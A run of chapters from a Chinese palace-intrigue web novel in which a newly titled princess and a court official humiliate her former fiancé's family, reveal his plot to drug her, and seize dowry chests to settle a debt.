“世子受伤的事情,看在你们傅家为皇帝舅舅分忧多年的份上,本宫给你们一个真相,但是今日过后,南都要是有一句关于本宫的不是,本宫都要算在你们傅家和沈家的头上,毕竟本宫要去天元和亲的,若是名声在这个时候受损,影响了和亲,你们两家都是南诏的罪人了。” 忠勇侯和侯夫人一脸的懵,难不成承越的伤真的跟她没有关系? 玉儿与沈安若交换了一个眼神,玉儿看着几人开口。 “几位,这上面坐着的可是皇上亲封的凰仪公主,然后这位是沈大人,这位是忠勇侯侯爷,今日你们所说的话,可不能有半句虚假。” 几人闻言急忙跪下。 “参见凰仪公主。” 沈安若看了几人一眼。 “免礼吧,你们今日一早都看见了什么就尽管说什么,只要说的都是实话,你们就可以离开了。” 青楼. 妈妈第一个开口的。 “今儿个一早,世子夫人就带着好几个小撕丫鬟闯入了我们楼里,说什么要找世子,我不过就是一个做生意的,哪里惹得起南都的贵人?” “就只好跟世子夫人带路,去了世子定下的房间,一进门,世子夫人还没有看清楚呢,张嘴就大声呼喊着什么沈安若勾引姐夫的,结果喊了几声发现屋里只有世子一个人昏迷着。” “后面我也给世子喊了大夫。” “还有这两位常去我们楼里的贵客也看到了,当时世子房间里就只有世子一人,世子夫人发了一通脾气以后带着世子走了。” “当时我还带着丫鬟在世子的房间里搜了一圈,并未找到任何人,我也问过了楼里的人,世子昨夜只是要了一个房间,但是没有点姑娘,所以世子受伤的事情跟我们楼里也没关系。” 另外两个人也急忙开口道。 “我们当时听到有人大声抓奸,就想着这是哪家的夫人如此的泼辣,就开门出来瞧瞧。” “没想到是世子夫人带人来抓世子了,当时我们的确没有看到世子的房间里有别人。” 沈安锦此时的脸已经肿得像猪头一般,加上满脸的泪痕,看起来实在是让人有些恶心,只见她拼命的摇头。 “不………不是…………这样的………” 沈安若冷冷的看着她。 “那是什么样的?” “本宫可是公主,沈安锦,污蔑皇家公主乃是大罪?” “而且这么多人都看到了世子在青楼受伤的,你非要说世子的伤跟本宫有关,本宫人怎么在青楼的?” “难不成是你和世子对本宫做了什么?趁着本宫神事不清,把本宫带到那种地方去?” “你们这是要谋害皇室公主?” “还是说你们沈家与傅家要造.反了不成?” “要不本宫带你们进宫,好好的在皇上面前说一说,本宫是如何伤到了世子的。” 第二十八章 禁足 不论是造.反,还是掳了公主这可都是大罪,抄家灭族都够定罪了,沈一山和忠勇侯都慌了。 急忙行礼。 “臣不敢。” “臣对南诏忠心耿耿。” 听了刚刚几人的话,忠勇侯看了一眼沈安若,忍不住有些心虚,可能真的误会了沈安若了,又或者这其中有什么自己不知道的事情,深吸一口气,努力平复自己的情绪,然后对沈安若说道。 “公主,今日之事,确实是臣鲁莽了。但世子受伤之事,事关重大,还望公主能体谅一个老父亲的心情。” 沈安若冷笑一声,讽刺的看了看忠勇侯,又看了看沈一山。 “一个是南都贵族,皇上亲封的忠勇侯,一个是一步一步爬上尚书之位的沈大人,两个朝堂的风云人物居然因为一个女子的三言两语,就颠倒黑白,对公主不敬,二位这点脑子,本宫都想怀疑一下,你们到底能不能好好的替皇帝舅舅分忧?” 二人急忙开口。 “还请公主殿下明鉴,臣对皇上一直忠心耿耿,但凡皇上吩咐的事无一不竭尽所能。” 沈一山心有不甘,自己居然要跪在女儿的面前承认自己的错误,可是忠勇侯开口了,自己不能什么都不说。 “今日是臣冲动了,臣整日都忙于公主,对于后宅这些女子之间的事情,实在是有些不清楚,这才对公主有了误会,还请公主赎罪。” 沈安若看了看二人,嘴角勾起一抹若有若无的笑意。 “二位大人要表忠心,还得去朝堂上表才是,本宫懂是非,但是还真不会辨忠奸,都回去吧,这件事就到此结束了,天元和亲使臣团就要到了,要是让本宫知道有人扰乱和亲,本宫不介意杀人。” 跪在忠勇侯身边的侯夫人闻甘心的看着沈安若。 “公主………” 忠勇侯已经抓住她的手,警告的看了她一眼。 恭敬的给恭敬的给沈安若行礼。 “是,臣告退。” 看着忠勇侯气得不行还要恭恭敬敬行礼的模样,沈安若端起茶杯,这有权利的感觉真好啊,要什么男人,要权利啊。 沈安锦看了看沈安若,最终艰难的爬起来,顶着一个猪头跟上了忠勇侯的脚步。 他们走到了门口,沈安若忽然开口。 “忠勇侯!” 忠勇侯急忙转身拱手。 “公主。” 沈安若笑着看着他。 “本宫手里还有你们傅家和沈家各签的一张十万两的借条,时间快到了,二位记得准时给本宫把银子送到墨香居,本宫也好有银子置办嫁妆。” 沈一山和忠勇侯心里都咯噔一下,还以为这事就能过去了,没想到沈安若又提起来了。 忠勇侯无奈的拱手。 “银子一直在凑,这两天就会给公主送来。” 南都的一家客栈里。 商玄澈正在坐在窗边喝茶,时不时看一眼南都街道上夜晚热闹的场景。 陈先生坐在他的对面。 “殿下是不是还在想那位姑娘?” 商玄澈脑子里想起那张充满调戏的脸。 “没有,本宫什么样的女子没有见过,怎么可能想她。” 陈先生拿着扇子摇曳着,笑而不语。 此时苍术进来快速的把门关上,朝商玄澈恭敬的拱手。 “殿下,查到了。” “属下一路跟踪,那位姑娘进了沈家。” “属下又查探打听了一番,那个姑娘应该就是和亲公主凰仪公主了,也就是殿下的未婚妻。” 在青楼见面的未婚妻?商玄澈也属实懵了一下,随即眼里勾起一抹兴趣。 “仪仗队伍还有多久到?” 陈先生开口道。 “算一下脚程,明日或者后日就到了。” 商玄澈听了嘴角勾起一抹若有若无的笑意。 “仪仗队伍到了就去见南诏皇吧。” 忠勇侯府。 大厅里。 傅承越又跪在了上次的位置。 看着盛怒的忠勇侯,有些畏畏缩缩的开口。 “父亲,儿子这是又做错了什么?” 忠勇侯冷眼看着他。 “你自己做错了什么你都不知道吗?” 傅承越见沈安锦不在,而母亲又一脸担忧的看着自己,低头开口。 “儿子实在是不知道,还请父亲明示。” “你倒是告诉本侯,你说是沈安若伤了你,那她是在哪里伤的你?” “又为什么会伤到你?” “她当了你那么多年的未婚妻,你们若是了见到了,不是应该避嫌吗?” 傅承越脸色一阵青一阵白,支支吾吾地说不出个所以然来。 “父亲,儿子,儿子喝醉了撞上了沈安若,她趁机对儿子下死手…………” 还未等他说完,忠勇侯手里的茶杯就砸了过去。 “愚蠢的东西。” “本侯一世聪明,怎么会有你这么蠢笨如猪的儿子?” “来人,请家法。” 侯夫人急忙开口。 “侯爷…………” 忠勇侯站起来冷冷的看着她。 “家宅不宁,夫人这些日子都是怎么管家的?” “你说赔给沈安若的银子你来想办法,现在夫人你能够拿出来十万两了吗?” 侯夫人听得一时间语塞。 “我………侯爷…………” 忠勇侯却不再搭理她,而是接过小厮递上来的鞭子,直接就朝傅承越身上抽去。 傅承越疼得闷哼连连,却不敢躲闪,只能咬牙硬抗。 侯夫人的眼泪簌簌而下,却也不敢再求情,整个大厅内只剩下鞭子划破空气的声音和傅承越隐忍的痛呼。 “啊…………” 眼见衣服都打破了,隐隐见血,侯夫人再也忍不住了,伸手抱住了侯爷的腰往后拖。 “越儿,你就说吧,到底是怎么回事,孩子,你不能连父母都瞒着啊?” 忠勇侯一把推开侯夫人,看着傅承越一脸的冷意。 “你若是不说实话,本侯就当没有你这个儿子,一个女人就能把你哄的不知东南西北了,本侯不是只有你一个儿子的。” 傅承越听得闭上了眼睛,最终开口道。 “是儿子不甘心,沈安若她居然动手打我又一次次的逼迫沈家,儿子就给她下药了,带她去了青楼,想着生米煮成熟饭,她以后也不敢跟儿子顶罪了,没想到她那样的情况下都能打伤儿子跑了。” 忠勇侯气的心口起伏,用鞭子指着傅承越。 “你这个蠢货,蠢货啊,你当初直接娶了她不好吗?现在谈什么生米煮成熟饭?她现在是公主啊,你个蠢货,你动了和亲公主,你是想害死整个傅家吗?” 傅承越脸色惨白,跪在地上瑟瑟发抖,沈安若这么不能惹吗?她明明就是吵着要嫁给自己的低贱女人罢了,怎么就惹不起了呢?不甘心不甘心啊。 忠勇侯看了看他这没出息的样子。 “即日起,你与沈安锦禁足,直到沈安若嫁给天元太子。” 第二十九章 公主府家规 沈家。 沈安若正在陪着沈安昕喝药。 看着沈安昕喝完药紧皱眉头的样子,沈安若急忙递上一课蜜饯。 “姐姐,快吃一颗蜜饯。” 沈安昕接过把蜜饯放在嘴里。 “谢谢若儿。” 随即感叹道。 “我是真没有想到,这药能够这么苦,还要喝几个月呢,唉。” 这喝药的事情只能姐姐自己来,沈安若伸手握住她的手。 “可是姐姐你身子好了就能永远陪着若儿了啊,姐姐不想一直陪着若儿吗?” 看着她靠近自己撒娇的样子,沈安昕只感觉好像刚刚的药也没有那么苦。 “想,所以姐姐会好好的喝药。” 玉儿疾步而来。 “大小姐,公主,宫里来人了,老爷请两位去前厅。” 前厅。 柳依依一脸笑意的开口。 “这位姑姑看着面生,不知是哪个宫里的人………” 王司记看着柳依依,脸色冰冷。 “尚书大人,不知这位是?” 沈一山急忙开口。 “这是贱内。” 王司记目光冷淡的打量着柳依依。 “原来这就是沈大人的那个续玄啊,我还在宫里当差的时候就听说沈大人为官不错,就是有些内帷不修,今日一见柳姨娘,倒是让我明白了,为何沈大人会内帷不修了。” 此话一出,沈一山眉头一皱,这个宫里来的人说话也过于难听了一些。 柳依依脸色也难看了起来。 “这位姑姑,在下是沈夫人。” 王司记闻言看着她嘴角勾起一抹嘲讽的笑意。 “沈夫人?” “我来自宫里,之前是伺候惠安公主的,惠安公主嫁给了沈大人以后,我就去伺候了太妃,再后来到皇上的御前当了六品司记,如今皇上派我来教导凰仪公主宫里的规矩,在我这里,沈夫人只有一人,那就是惠安公主。” 柳依依脸色一阵白一阵红,却不敢反驳,毕竟这位王司记来自宫中,且提到了已故的惠安公主,她的身份和话语权都不是她能轻易挑战的。 沈一山见状,连忙打圆场。 “王司记说得是,内子初来乍到,不懂规矩,还请您多多包涵。” 眼见沈安若和沈安昕携手而来,沈一山急忙开口。 “安若,安昕,快来见过王司记,日后你们的一应宫规礼仪,皆由王司记教导。” 沈安昕见状正要准备行礼,沈安若却伸手扶住了她。 王司记上前一脸的恭敬,微微欠身。 “见过凰仪公主,见过大小姐。” 沈安若打量了一眼王司记,这服装不像是宫女,倒像是女官。 果然很快就见王司记继续开口。 “妾身姓王,是之前伺候惠安公主的人,皇上封妾身为六品司记,前来伺候公主和大小姐。” 原来是皇帝舅舅派来给自己和长姐撑腰的,难怪看着气质就不一样,还是一位女官,沈安若拉着沈安昕在一旁坐下。 “原来是舅舅身边的王司记,本宫这公主当得仓促,许多规矩礼仪都不懂,以后就劳烦王司记了。” 王司记听了带着笑意的开口。 “公主您是凰仪公主,只需要别人懂规矩礼仪就好。” 这话听着怎么就如此顺耳呢? 沈一山和柳依依相视一眼。 确定这位王司记真的是来教公主规矩礼仪的吗? 还没有等二人想明白,王司记已经目光冷冷的看向他们。 “沈大人和柳姨娘见到公主都不行礼的吗?” 给自己女儿行礼?沈一山脸色沉了几分。 “王司记,本官与安若是父女,这当父亲的就用给她行礼了吧?” 柳依依也笑着开口。 “是啊王司记,这都是一家人…………” 王司记看着柳依依那一脸的笑意,上前一巴掌打在了她的脸上。 “放肆。” “沈大人,这就是沈家的规矩?一个低贱的妾室见了公主不行礼问安,还敢在公主的面前说什么一家人?” 柳依依被打得一懵,抬手捂着自己的脸。 “王司记,我好歹也是朝堂官员的家眷………” 王司记端着身子,微微抬头。 “凰仪公主乃是皇上亲封,这凰仪二字更是嫡公主才能有的封号,你一个沈家的姨娘,见了公主就应该跪下低头行礼问安,哪怕是说话气儿都得矮上三分,这才合规矩。” 沈安若看着这一操作,眼睛一亮,舅舅送的这个人不错啊,就冲舅舅为自己考虑,等和亲以后,自己也得多维护两国的关系,避免南诏被欺负。 接过玉儿递过来的茶,与沈安昕慢悠悠的喝茶看戏。 居然被当众打了耳光,柳依依委屈的忍不住掉眼泪。 “老爷………你是知道的,妾身一直都把大小姐二小姐当做亲生女儿般对待的,怎么如今二小姐当了公主以后就…………” 她的话还没有说完,就被王司记厉声打断。 “沈大人,这就是你所谓的沈家夫人?” “做错了事情,不知请罪,毫无担当,动不动就学妾室那般跟主君哭闹,还当真是半点都上不得台面。” 柳依依被噎得脸色一白。 王司记看着她继续开口。 “我听说柳姨娘来自民间,当初进沈家的时候就两身破旧的衣裳,也没有受过什么好的教导,这跟在沈大人身边这么多年,也应该学一学南都的礼仪才是,当着我的面都能见了凰仪公主不行礼,这我不在的时候还不知道是如何怠慢公主不把皇家放在眼里的呢?” 有几个胆子敢不把皇家放在眼里,柳依依吓得当场就跪下了。 “二小姐忽然就成为了凰仪公主,妾身还未来得及改口,还请大人不要跟妾身一般见识。” 王司记微微侧开身子,冷声开口。 “柳姨娘,既然这般不懂规矩,本司记既然奉皇上的命来沈家照顾公主,那就看在沈家的面子上提点你两句,柳姨娘你现在应该跟公主请罪才是。” 柳依依颤抖着身子,目光求助般地望向沈一山,却见沈一山脸色阴沉,并未有要为她出头的意思,心中不由得一阵绝望。 她缓缓转过头,对着沈安若,声音中带着哭腔。 “参见凰仪公主,妾身……妾身一时疏忽,还望公主殿下大人有大量,原谅妾身这次的无礼。” 沈安若并未接她的话,而是看向王司记。 “王司记,本宫对礼仪规矩还不熟悉,不知这对公主不敬该如何处罚?” 王司记闻言朝沈安若微微欠了欠身。 “回公主的话,见公主不行礼等同于藐视皇家,此乃大罪,不过念及这是公主家事,妾身觉得就让这柳姨娘顶着公主府家规在公主的院子门口每日跪上三个时辰,直到跪满半月。” 第三十章 和亲对象来了 公主府?家规?自己有这玩意儿吗?沈安若疑惑的看着王司记。 只见王司记从手袖里面拿出来一本册子,递给了沈安若。 “公主,这是皇上命我带来的公主府家规,上面详细记录了各项规矩及违规后的处罚措施,日后若是有人冒犯公主,除了公主直接处罚以外,妾身还可以参照公主府家规处罚不懂规矩的东西。” 沈安若随意的翻看两眼,这种东西皇帝舅舅日理万机根本就不可能想到,肯定是这位王司记想的。 “王司记是舅舅身边的人,本宫相信你就可以处理的很好。” 说完就将册子递给王司记。 王司记恭敬的双手接过,目光看向柳依依。 “柳姨娘还不去跪着。” 柳依依脸色惨白,身子微微颤抖,若是自己真的去沈安若的院子门口跪上三个时辰,这沈家往后哪里还有自己的半点地位?求助的看向沈一山。 沈一山勉强挤出一丝笑容,对王司记道。 “王司记,内子初犯,还望您能看在沈家的面子上,从轻发落。” 王司记面色冷淡,不以为意。 “沈大人,公主乃金枝玉叶,岂容他人轻慢。” “这已经是公主仁慈不追究的结果了。” 随即看着沈一山提醒道。 “沈大人还未给公主行礼呢?” “妾身记忆很好的,从公主进门到现在,沈大人也一直未行礼,家中妾室如此猖狂,莫不是上梁不正下梁歪?” 沈一山闻言只好朝沈安若拱手。 “微臣参见凰仪公主。” 沈安若端着茶杯,淡淡的看着低头拱手的沈一山,一脸笑意的开口。 “沈大人免礼。” 沈一山这才起身。 “依………柳氏,公主的身份早已今时不同往日,身为沈家的夫人你要知礼仪懂进退才是,既然王司记已经下令处罚,你就先受罚吧!” 就连沈一山都低头了,柳依依只能咬着牙。 “是。” 起身往沈安若的院子方向走去。 沈安若看着柳依依和沈一山吃瘪的模样,忍不住看了一眼王司记,这王司记气场足,又雷厉风行,绝对是一个合格的帮手。 王司记见下马威给到位了,朝沈安若微微欠身。 “公主,妾身初来乍到,还不知公主的院子在何处,妾身需要熟悉公主的住处以及身边的人,以后更好的伺候公主。” 沈安若闻言起身,朝沈安昕伸手。 “走吧,跟本宫回本宫的院子。” 沈安昕将自己的手放在沈安若手里,让她带着自己走。 目光忍不住看向沈安若,妹妹厉害了,自己跟着沾光了呢。 等到了墨香居,只见柳依依正顶着家规跪在院子门口,下人们忍不住偷偷观望。 见沈安若过来,急忙行礼。 “参加大小姐二小姐。” 王司记目光凌厉的扫视着那些丫鬟小厮。 “本司记是皇上派来伺候公主的,尔等可记好了,以后要称呼凰仪公主,而不是什么二小姐,若是再有人称呼错了,那就拉下去杖则二十。” 一众小厮丫鬟急忙颤抖着开口。 “是。” “小的见过公主。” 沈安若牵着沈安昕淡定的扫视一眼跪在地上的柳依依,然后从她的身边走过。 柳依依顶着家规,手指甲都掐入了手心,可是身子却不敢晃动。 王司记走过她的身边甚至开口提醒到。 “柳姨娘可要跪好了,若是家规掉下来,便不作数了。” 来到了墨香居大厅。 玉儿有眼力的倒上茶,态度比以往拘谨恭敬了。 王司记打量了一眼屋里的装饰。 “公主这里有点过于简陋了。” 沈安若抬头看着她片刻,忽然一笑。 “今日多谢王司记帮本宫出头,本宫现在有一个问题想要问王司记。” 王司记欠了欠身恭敬的开口。 “公主请问,妾身定知无不答。” 沈安若大大方方的打量着她。 “王司记说是皇帝舅舅派来伺候本宫的,不知王司记以后算宫里的人还是本宫的人。” 王司记闻言看了一眼沈安若,见她一脸的笑意,可是在宫里多年,一眼就看出来了,这为凰仪公主眼里都是一片冰凉,绝对不是看到的这般温和,恭敬的行了一礼。 “妾身既然往后是跟在公主身边伺候公主的,自然是公主的人。” 沈安若闻言看着她片刻,过了好一会才开口。 “王司记起身吧。” “既然往后要伺候本宫了,本宫今日见王司记就知道,舅舅给本宫安排了一个好帮手。” “玉儿,稍后带王司记熟悉一下府中一切,往后王司记就是本宫身边的掌事司记了。” 这是以后要以王司记为先。 玉儿和翡儿急忙行礼。 “是。” 朝王司记福身。 “王司记。” 王司记还了一礼。 “你们都是跟在公主身边多年的人,往后与我一起伺候好公主就是最重要的事情。” 沈安若忽然想起来什么,笑着跟王司记开口。 “王司记,本宫这里有一件事的确的确需要王司记处理。” 王司记闻言恭敬的开口。 “请公主吩咐。” 沈安若缓缓开口。 “是这样的,当初沈家养女出嫁之日,不知道为什么,本宫的母亲惠安公主留给本宫和长姐的嫁妆就不翼而飞了,这查找了许久也没有找到。” “当初说好的是,让忠勇侯府与沈家各折现十万两银子给本宫和长姐,可是本宫给他们的时间马上就到了,这银子本宫是半文钱都没有见到啊。” 王司记闻言一脸端庄的开口。 “公主放心,有妾身在,这二十万两银子半文都不会少。” 想到了王司记刚刚在前厅的表现,沈安若心里已经期待起来了,不知道忠勇侯府对上王司记的时候,王司记的战斗力如何。 “那就有劳王司记了。” 王司记再次恭敬的开口。 “伺候公主是妾身的本分,银子的事情公主尽管放心,这天元的仪仗队伍已经到了天元了,三日后皇上要给天元太子办接风洗尘宴,还请公主做好准备前往参加。” 第三十一 打耳光专业户 傅家。 侯夫人一脸的怒气。 “这个小贱人,真的是该死,十万银子,她怎么不去抢。” 沈安锦在一旁默默的听着不说话。 侯夫人看了她一眼。 “关键时刻你怎么不说话了?平时话不是挺多的吗?” 沈安锦听了一副畏畏缩缩的模样开口。 “母亲,不论怎么说她也是我的妹妹,我…………” 侯夫人听了直接白了她一眼。 “你当初新婚之夜跟承越搞在一起的时候怎么没有想过成亲的人是你妹妹?” 沈安锦闻言眼泪都一下子掉了下来。 “母亲,你怎么能这么说我?” “我只是太爱承越哥哥了,情不自禁罢了。” 见沈安锦哭了,一旁的傅承越急忙开口护着她。 “母亲,你怎么说话越来越难听了?” “那件事情不是锦儿的错,是我喜欢锦儿,是我想出来的换亲,母亲要怪就怪儿子吧,不要怪锦儿。” 侯夫人见傅承越护着沈安锦,脸色沉了沉。 “跟沈安若约定给银子的时间就要到了,我这边只凑出来了六万两,大部分都是跟你们外祖家借的,沈安锦,这事情是你惹出来的,这银子你也要出一份。” 沈安锦闻言,泪眼婆娑地看着傅承越,希望他能为自己说话。 “承越哥哥,不是我不想出银子,实在是我这手里…………你也是知道的我的那嫁妆………这几日我们又被禁足了,不然我可以找人借一些。” 但傅承越此刻也面露难色,他虽心疼沈安锦,可现在还银子的时间已经要到了,他也束手无策。 侯夫人看着沈安锦开口。 “你也不用跟我推三阻四的,沈家不是给你补了一份嫁妆吗?” “你既然身为侯府世子夫人,就该担起这份责任。嫁妆暂且挪用一下,把眼前这一关过了再说。” 嫁妆乃是一个女子安身立命之本,怎么能够随便拿出来?而且母亲说了,沈家那边已经没多少银子了,自己的嫁妆都是好不容易凑出来的。 “母亲,不是我不愿意,实在是这嫁妆…………” 见她依旧还要推辞,侯夫人脸上已经有了怒意。 “沈安锦,你不要忘了,承越娶的本来就不应该是你,要不是因为你,侯府也不会欠沈安若十万两银子,身为世子夫人,你就应该出面处理好这件事情,你若是处理不好,本夫人不介意换一个人来处理。” 这是在威胁自己,沈安锦咬了咬牙齿,想到了傅承越的身子情况。 “母亲,即便是你现在想给世子换一个夫人,怕是也没有人愿意,毕竟世子被沈安若伤了。” 傅承越听得一脸的不可置信。 “锦儿,你在说什么?” “你是不是嫌弃我了?” 沈安锦急忙开口。 “承越哥哥,锦儿怎么可能会嫌弃你呢?这都是沈安若的错,锦儿刚刚就是被气到了。” “我一想到,沈安若她把你伤成这个样子,我们侯府还要给她银子,我这心里就堵得慌。” 抬头一脸梨花带雨的模样看着傅承越。 “承越哥哥,我们不能就这样被她拿捏了,这十万两银子要是给了她,以后我们全府上下喝西北风吗?” 傅承越闻言眉头一皱。 “可是………” 沈安锦开口道。 “没有可是。” “承越哥哥,母亲,这银子不只是我们侯府拿不出来,沈家那边也拿不出来的,当初的嫁妆聘礼沈家那边都快掘地三尺了,但是没有一点影子。” “沈家现在补了一份嫁妆给我们侯府,那边绝对拿不出来十万两银子给沈安若的,她总不能真的把她父亲告上大理寺,女告父,这可是忤逆不孝。” 侯夫人听了冷着脸开口道。 “她可以不要沈家的银子,她也的确不敢告沈家,但是她绝对敢告侯府,沈安锦,你是现在还没有认清楚现实吗?你的那个妹妹,手段狠着呢。” 几人正在争论着,一个丫鬟急匆匆而来。 “夫人,侯爷让大家都去前厅,说凰仪公主来取银子了。” 听到凰仪公主来取银子的消息,侯夫人的脸色瞬间变得铁青,看了一眼沈安锦。 “先去前厅吧,她不是你妹妹吗?” “你要是不想出另外的四万两银子,那你就说服她,让她要六万两就好了。” 前厅内,沈安若一身华服,气质高贵,王司记站在她身旁,不怒自威。 沈安若悠闲的喝着茶。 “侯爷,今日本宫来取回侯府赔给本宫的十万两银子,不知侯爷可否准备好了。” 忠勇侯闻言强装镇定。 “公主殿下,这银子我们正在筹备,只是时间仓促,尚未筹齐。” 沈安若微微一笑。 “哦?尚未筹齐?那本宫记得,当初可是说好了期限,如今期限已到,侯府拿不出来本宫就要按照赌坊的利息算了,只怕最后利滚利,对于侯府而言压力更大了。” 忠勇侯听了面露难色。 “公主,你也是知道的,我们侯府遭了盗窃,这府中实在是…………我们现在也就凑到了六万两银子了,公主能不能先收着六万两,余下的四万两宽限几日让我们再想想办法。” 侯夫人与沈安锦傅承越一路来到前厅,只见院子里多了许多侍卫,心中带着疑惑的走进大厅里 ,当看到了坐在主位上的沈安若,几人心不甘情不愿的行礼。 “参见公主。” 沈安若淡淡的扫了几人一眼。 “免礼。” 忠勇侯看了侯夫人。 “你凑的银子呢,还不快拿出来给公主?” 侯夫人不情不愿的拿出一叠银票。 “侯爷,还差四万两。” 沈安锦看着似笑非笑的沈安若,眼里闪过一抹不甘心,可是想到了侯夫人的话,只好一脸笑意的上前。 “妹妹,许久不见………” 王司记上前直接一巴掌甩在沈安锦的脸上。 “放肆,一个小小的沈家养女,凰仪公主面前也敢无礼。” 沈安锦被打的懵了一下,随即红着眼睛不甘心的开口。 “我可是侯府的世子夫人,你敢打我?” 王司记闻言不屑的开口。 “公主乃是凰仪公主,位同皇后娘娘嫡出公主的身份,满朝文武见了公主都得恭敬的行礼,你算一个什么东西?也敢称呼凰仪公主为妹妹?” 第三十二 你求我啊 沈安锦被王司记一番话噎得半晌说不出话来,只能捂着脸,泪眼婆娑地看着傅承越。 傅承越见状眼里闪过一抹心疼。 看了看沈安若开口。 “公主,我知道你如今身份尊贵,可锦儿也是侯府世子夫人,公主随遇打骂是以权欺人吗?” 王司记闻言,王司记冷笑一声,目光如刀般扫过傅承越。 “世子此言差矣,公主殿下乃是金枝玉叶,自有皇家威严。沈安锦身为臣妇本应谨守本分,却在公主面前妄自尊大,称呼不当,已是失礼。我身为公主府司记,代为管教,乃是职责所在。至于以权欺人,公主还未说什么呢?世子就给公主定一个以权欺人的罪名,世子这是要尊卑不分吗?” 傅承越被王司记一番话说得面红耳赤,一时语塞。 这王司记真的是全网嘴替啊,嗯还可以说耳光替,看着傅承越吃瘪的样子,沈安若笑着开口。 “看来世子的伤是好了?” 到了自己的伤,傅承越脸色更加难看了。 “沈…………” 看着站在沈安若身边的王司记,却再说什么,自己甚至怀疑,今日若是真的说话犯冒犯了沈安若,这王司记也能打自己的耳光。 忠勇侯看着站在沈安若身边的王司记,这身气度的确是宫里出来的人,看来皇上的确很看重沈安若,一把拿过侯夫人手里的银子,然后上前恭敬的递给沈安若。 “公主,侯府确实已经尽力在筹银子了,另外四万两微臣会尽快凑齐的,请公主再宽容几日。” 沈安若接过银票,随意翻看着,嗯,都是大额银票。 “王司记,你觉得呢?” 王司记微微欠身。 “公主,天元的仪仗队伍已经到了,公主的嫁妆必须尽快筹备出来,不然会让天元看笑话的,妾身知道公主仁慈,可公主你没有时间给侯府了,欠债还钱天经地义,这件事公主就交给妾身吧。” 沈安若闻言笑着看向忠勇侯。 “侯爷你也听见了,本宫没时间等你们侯府慢慢筹银子了。” 王司记站直了身子,声音带着几分严厉。 “既然侯府拿不出来银子了,那就拿物件来抵吧。” “听说世子夫人前些日子又从沈家拿了不少嫁妆,想来也是有一些好东西的。” “来人,给本司记搬。” 侍卫听了就直奔沈安锦的院子。 一看这架势就知道,这肯定是沈安若提前就告知了自己院子的方向,沈安锦急忙跑出去拦住侍卫。 “不许…………” “公主,即便你现在当了公主,不念及姐妹之情,你也不能强抢我的嫁妆。” 王司记上前直接拽着她的手臂把她扯开。 “都动手,公主的时间宝贵着呢,没时间与人在这里浪费。” 沈安锦着急的眼泪都掉了下来。 “不可以,不可以动我的嫁妆,公主,你如此行事,就不怕我回去告诉父亲…………” 王司记直接抬手又给了她一耳光。 “居然敢威胁公主,当真是好大的胆子!你放心好了,等本司记回到了沈家,一定会好好的问一问沈大人是如何教导你的?如此尊卑不分不顾礼仪,有什么资格成为世子夫人?” 傅承越看着沈安锦被打,着急的看着沈安若。 “公主,不论怎么说,你与锦儿也是多年的情分,锦儿以往的时候对公主最好了,有什么吃的用的都惦记着公主,公主如今…………” 看着沈安若那似笑非笑的眼神,傅承越后面的话再也说不出来,甚至面色还有了几分心虚。 沈安若抬手,玉儿急忙伸手让她将手搭在自己的手臂上。 沈安若端着公主的仪态,慢慢的走向傅承越。 “世子你放心好了,本宫自然是记得世子和世子夫人对本宫的情义的,本宫一定会寻一个合适的机会,好好的报答你们的这一份情谊。” 然后在玉儿的搀扶下,一步步朝沈安若院子走去。 王司记也放开了沈安锦,朝沈安若恭敬的开口。 “公主请。” 沈安锦急忙朝自己的院子跑去,傅承越见状也跟了上去。 沈安锦跑到自己院子门口,只见侍卫们正将屋内的嫁妆箱笼往外搬。 她心急如焚,不顾一切地冲上前去,试图阻挡。 “住手!这些都是我的嫁妆,你们不能动!” 傅承越紧随其后,神色焦急地试图与侍卫交涉。 “请各位高抬贵手,这些嫁妆对世子夫人意义重大,能否……” “世子,我们也是奉命行事,还请世子不要为难我们。”侍卫长面无表情地回应,丝毫没有停下手中的动作。 沈安锦绝望地看向傅承越,泪水在眼眶中打转。 “承越哥哥,怎么办?他们真的要抢走我的嫁妆!” 傅承越看着沈安若在丫鬟的搀扶下一步步走来,心里五味杂陈,自己到现在都还难以相信她怎么就高不可攀了? “公主,能不能请你高抬贵手?” 王司记示意人将搬出来的嫁妆打开,随手拿起一些东西,估算着价值。 沈安若看着沈安锦掉眼泪的模样,摇曳着一把扇子。 “想保住嫁妆啊?” “要不你们求一求我?” 要求她吗?沈安锦一脸的屈辱,可是看着一箱又一箱的嫁妆被抬了出来,沈安锦最终咬了咬牙朝着沈安若跪下。 “求求公主,高抬贵手。” 沈安若饶有兴趣的看着傅承越。 “世子,你不跪吗?” 给昔日追着自己跑的人跪下,自己怎么可能愿意,傅承越沉默着不为所动,沈安锦见状伸手拽住他的衣袖。 “承越哥哥,你就当是为了我好不好?” “这些嫁妆可是我们生存的根本啊,承越哥哥。” 傅承越脸色沉了沉,目光看了看沈安锦。 最后又看了看沈安若。 沈安若还是那副带着笑意的神情。 傅承越咬了咬牙,缓缓跪下。 “求公主高抬贵手。” 沈安若见状,手搭在玉儿的手臂上,慢慢踱步的看着跪着的二人。 “啧啧啧,还真是妇唱夫随啊。” 沈安锦咬着牙齿,手中的手帕都快要撕碎了。 “求公主高抬贵手。” 沈安若嫣然一笑。 “不行。” 第三十三章 又来一个不知死活的 沈安锦一脸的怒火。 “公主你怎么能说话不算数?” “你可是公主,不怕传出去被别人笑话吗?” 沈安若一脸笑意的轻轻摇晃着手中的扇子。 “我又没有说你求了,我就不收你的嫁妆。” 傅承越也怒了。 “你耍我们?” 沈安若看着他笑意更盛。 “对啊。” “你!”傅承越气得脸色铁青,却碍于沈安若的身份,不敢发作。 沈安锦见求情无果,情绪崩溃。 “我的嫁妆啊!” 王司记朝沈安若开口。 “公主,轻点的差不多了。” 沈安若微微点了点头。 “那就打道回府吧。” 侯夫人此时也过来了,看着被被抬走的一箱又一箱嫁妆。 再看看一直在哭的沈安锦。 “早的时候要是听我的,也不至于弄得如此难看。” 沈安锦一听,哭的就更凶了。 傅承越见状开口道。 “母亲,锦儿已经很难过了,你何必…………” 侯夫人闻言没好气的开口。 “你就护着吧。” “真的不知道她给你下了什么迷魂汤。” 随着一群侍卫搬着一个又一个的箱子上马车,引来了无数百姓的围观。 “这是怎么回事啊?” “不知道啊,怎么这么多箱子从侯府搬出来看这箱子的样子,怎么像是装嫁妆的箱笼?” “看着的确挺像的,这侯府难不成要给哪家下聘吗?” “不知道,我们再看看…………” 王司记见状笑着大声开口。 “看来诸位都好奇上了。” “既然各位都想探一探真相,我乃是宫里的王司记,如今奉皇上之命伺候凰仪公主,沈家养女出嫁之日,惠安公主留给凰仪公主的嫁妆就不翼而飞了,如今本司记陪着公主娶回嫁妆,还请诸位让路。” 